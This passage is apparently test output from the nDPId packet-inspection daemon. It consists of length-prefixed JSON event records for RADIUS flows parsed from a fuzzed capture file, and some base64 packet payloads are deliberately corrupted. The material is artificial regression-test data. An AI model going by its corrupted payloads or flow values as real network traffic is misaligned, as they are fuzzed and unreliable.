AAV8gHDlZaV0MyVGVzdExhYhoKAABXyGQERVQaEAAAV8gKClN0YW5kYXJkGhBmAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoacAAAV8gRC0x5dGRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMlAFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOTQaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEkID4rD4BVEKK4FucluzaU0="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":105,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":3072} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1528997221594,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997221,"pkt_ts_usec":594421,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4olANuYVcUnCABFAADh\/iUAAPwRVXHGnRk1CgxAHgcUchAAzbneC0AAxXHEG2jtNCK6Pim9jxODZEQBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWYyMmE1NDkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5T0oBAgBIFwEAAAEFAAC130tW1AOjyO4EWETLCns4AgUAADpBoI2KsgAA1NEalEdfz2mLAQACCwUAAKYxpY6FFiCOWOh\/rUxMKdLfEvgA+nuQ51DKsqmwU74i6PE="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1528997221594,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01282{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":109,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997221,"pkt_ts_usec":878096,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALHIPtuAP8RAAAKDEAexuIZNXIQB1QCswAAAUECqxyBDV4hA0zB94U9KheYsYAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8Az1fICQlXSVNQUqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":109,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":111,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1528997212627,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"206.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":111,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1528997221594,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997257,"pkt_ts_usec":160431,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbtOtAAP8RAAAKDEAexuIZPnIQBxQC+gAAAUICv72vLkDLtEGtec5wfJGaESYaCgAAV8gOBFVDGgwWAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1qwZbIqWJATUwMzExNDhYMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwQWQ4OWE1MjI1YiwgNWIyMmE1ODkvZjA6NzmPNjA6ZDE6N2Q6MzcvMjIwBAasFAEQIA5WWldOMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJOBcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNEAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":112,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1528997257373,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.230.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00677{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997257,"pkt_ts_usec":373354,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/rJAAPwRVQ7G5hk+CgxAHgcUchAAzVNaC0IAxU8cxybfn6wHKrLckjIf7\/YBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE1ODkvZjA6Nzk6NjA6ZDE6JQA6MzcvMjIwT0oBAgBIFwEAAAEFAAAT7kZq++1qq413Vnves+S4AgUAAGvzvZs2igAAfRnGIlbt+UCLAQACCwUAACpMCwseOO2rxFCxvsNqPXlQEr\/1MOfsnBTEG6mXYQrsxeM="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":112,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1528997257373,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.230.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01323{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997257,"pkt_ts_usec":654221,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"pkt":"AAAMB6xAABRP+4rqCABFAALHtOxAAP8RAAAKDEAexuIZPnIQBxQCswAAAUMCq5uzeWdoQ9XaV+du1V6\/V3caCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADh2DQM1NwZbIqWJATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktOzAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGEjMDAwMDAwYmQ4OWE1MjI1YiwgNWIyMmE1ODkvZjA6kDk6NjA6ZDE6Nz06MzcvMjIwBAasFCEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkF1MAAAsFAAB8YVHX9NNxZiI6Ac8JyMuzAwIAIPh24VkaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0dW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBEETkoaEQABV8gRC0x5bmRodXJzdBoMAABXJQAGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAACUAJQVWelcaDVUAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIBZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOHYWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEvBhLMiblyIbL73lEJVrr1A="} +00779{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997257,"pkt_ts_usec":842341,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRk+4rqcNuYVcUnCABFAAEw\/rdAAPwRVLrG4hk+CgxAHgcUchABHBAqAkMBFJKUOcPLMsHSqD8mDFCtU+4aCwAAV8gbBVNQQxouAAABNxA0pLyUW3Ovb6JdG1WHoXHa1uRHR4Oqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +01298{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997259,"pkt_ts_usec":707882,"pkt_caplen":708,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":708,"pkt_l4_len":674,"pkt":"AAAMB6xAABRP+4rqCABFAAK2tO1AAP8RAAAKDEAexuIZPnIQBxQCogAAAUQCmih3hk3Zk51gs15xxWmqKXkaCgAAV8geBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQVzEwGgkAADghDQM1ATUwMzExNDgwMTU4ODQ5Njg1QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcEBsCoApkgWUFQOjM0LUJBLTc1LTAwLTE0LTY1HiUzNC1CQS03NS0wMC0xNC02NTpWZXJpem9uV2lGaUFjVGVzcz0GAAAAEwYGAAAAAh8TRkMtQzItREUtNkQtM0YtMkNNF0NPTk5FQ1QgME1icHMgODAyLjExYiwSN0ExM0FEN0UxOTJDQjEwQTISNUVBNGw2ODBGQUJFMEE1NboGAA+sBLsGbA+sBLwGAA+sAb0G1Q+sBhoUAABXyAcOTGFiUGFuYXNvbmljGgsAAFfICAVQU1QaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpMYWIgV2lGaRoKdgBXyBAEQ0EaEgAAV8gRDFNhbnRhQ2xhcmEaDAAAV8gSBgAAAZgaFAAAV8gdDkxhYlBhbmFzb25pYxoPAABXyCUJVmVyaXpvbhoNAAA4IQ4HOTUwNTQaDAAAOCERBgAAAAAaFgAAOCESEEV2ZXJlc3QxMDA0V1JlGhgAADghExIzNy4zNDk5Tqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00578{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997259,"pkt_ts_usec":779653,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"ABRP+4rqcNuYVcUnCABFAACX\/sFAAPwRVUnG4hk+CgxAHgcUchAAgzXUC0QAezb\/4VyKamFOA3TktFr\/JAwBNTAzMTE0ODAxNTg4NDk2ODVAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywSN0ExM0FEN0UxOTJDQjEwQU8OAQAADBcMAAAMAX\/8UBJS64zA4ilsPt4yAqT5NcFg"} +01234{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997259,"pkt_ts_usec":951210,"pkt_caplen":660,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":660,"pkt_l4_len":626,"pkt":"AAAMB6xAABRP+4pECABFAAKGtO5AAP8RAAAKDEAexuIZPnIQBxQCcgAAAUUCav61YVJRYKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00457{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":118,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1528997260021,"flow_last_seen":0,"flow_tot_l4_data_len":158,"flow_min_l4_data_len":158,"flow_max_l4_data_len":158,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","l4_proto":85,"flow_datalink":1,"flow_max_packets":15} +00612{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997260,"pkt_ts_usec":21140,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"ABRP+4rqcNuYVcUnCABFAACy\/sZAAPxVVSnG4hk+CgxAHgcUchAAnp2\/A0UAlvMIt1JJhr\/PERoAnbXM5t8BNTAzMTE0czAxNTg4NDk2ODVAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywSN0ExM0FEN0UxOTJDQjEwQRIiMzI3NjQgU3Vic2NyaWJlciBub3QgcCUAdmlzaW9uZSUABwQBAAcAUBIlCbhyzGO3iZxohSCASLvo"} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1528997261783,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.82.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00677{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997261,"pkt_ts_usec":783701,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"dxRP+4rqcNuYVcUnCABFAADh\/sxAAPwRVP3G4lI1CgxAHgcUchAAzQ3qC0YAxVP5rh2w5Lj8PI2upF4y\/0IBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXT3b3JrLm9yZywgNWIyMmE1ODkvZjA6N+g6NjA6ZDE6N2Q6MzcvMjIwT0oBAgBIFwEAAAEFAADvkK66gUfrDsISd3KA2Dq0AgUAAEGPAVxuDAAAtFagJxCAdoSLAQACCwUAAF3vTu1rfeBtyKrBBShZZHpQEiKq\/RQqlqya5NkwR6FJjV0="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1528997261783,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.82.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01285{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":121,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997262,"pkt_ts_usec":78629,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALHIP0lAP8RAAAKDEAexuIZNXIQBxQCswAAAUcCq0DUTgiBVRdCBPZhxwMy\/T4aCiUAV3EOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM2NwZbIqWOATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yaS5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjODAwMDAwYmQ4OWE1MjI1YiwgNWIyMmE1ODkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIwBAasFAFKIA5WWldDMlQxc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkVAEAAAsFAADE2f3MRJYt4jvAki9JKC\/7AwIAIHMK7AgaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAB2V8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAZ8gRC0x5bmRodXJzdBoMABBXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVkGh0AADghExc0MC44MG84ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEV\/QAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEsOMLEiMSdbl\/UWsrT5hVfA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":121,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1528997262272,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1895,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00783{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997262,"pkt_ts_usec":272854,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"ABRP+4rqcNuYVcUlCABFAAEw\/tJAAPwRVKjG4hk1CgxAHgdnchABHO9uAkcBFNPCS391ou+9cV+4e8winsYaCwAAV8gbBVNQQxpuAAABNxA00HHPRTyBsiZ\/6IZyvYM7SEcCX4QDUPpLB\/Nfl+7+pUh0wsa+NLqA2uxWkFDu5HiEeuARNLVaDzSIzbsbfVqWHWeSG0JbhaHnOPPCnMTZqtKCAvxt6AWKG1d8LjPCNKE\/ymsqNvHxATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNTg5L2YwOjc5OjYwOmQxOjdkOjM3LzIyMFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJTw+nZtWuGBh7\/qdpxMTkR"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":122,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1528997262272,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1895,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1528997265856,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":30224,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997265,"pkt_ts_usec":856181,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIP5AAP8RAAAKDEAexuIZNXYQBxQCxwAAAUgCv9O29T0SiGycOGqRBCMxDvYaWgAAV8gOBFVTGgwAAFfIDQZ3aaRpGg8AAFfICQlXSVNQUjEwGgkAADghDQM2NwZbIqWRATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d21yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtt2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcm